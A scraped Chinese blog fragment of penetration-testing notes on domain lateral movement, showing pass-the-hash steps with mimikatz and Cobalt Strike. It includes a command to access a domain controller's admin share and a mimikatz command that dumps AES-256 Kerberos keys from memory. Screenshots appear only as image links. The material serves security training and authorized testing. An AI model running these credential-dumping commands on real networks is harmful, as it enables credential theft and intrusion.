【渗透测试笔记】之【内网渗透——横向移动：使用mimikatz和CS进行哈希传递攻击】_cs 如何使用mimikatz

最新推荐文章于 2025-03-13 16:32:37 发布

2401_84970989

最新推荐文章于 2025-03-13 16:32:37 发布

阅读量301

点赞数 1

分类专栏：程序员文章标签：笔记哈希算法算法

本文链接：https://blog.youkuaiyun.com/2401_84970989/article/details/138793898

版权


此时会弹出一个CMD窗口：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7ff4ab2bed064983b831192860807d75.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQUE4ag==,size_20,color_FFFFFF,t_70,g_se,x_16)


3. 访问任意域成员机默认共享：

dir \dc-1\c$

注意，使用主机名访问。


![在这里插入图片描述](https://img-blog.csdnimg.cn/cd6c7e92dbdd4d4894ddd1343feedfb4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQUE4ag==,size_20,color_FFFFFF,t_70,g_se,x_16)


### 1.2 AES-256 哈希传递攻击


此方法仅适用于本机安装了 KB2871997 补丁的情况。同理，AES-125密钥也可进行传递攻击。


1. 获得AES-256 哈希值

.\mimikatz “privilege::debug” “sekurlsa::ekeys”


![在这里插入图片描述](https://img-blog.csdnimg.cn/ee36428af2264dcfa9ff89d527181c4b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQUE4ag==,size_20,color_FFFFFF,t_70,g_se,x_16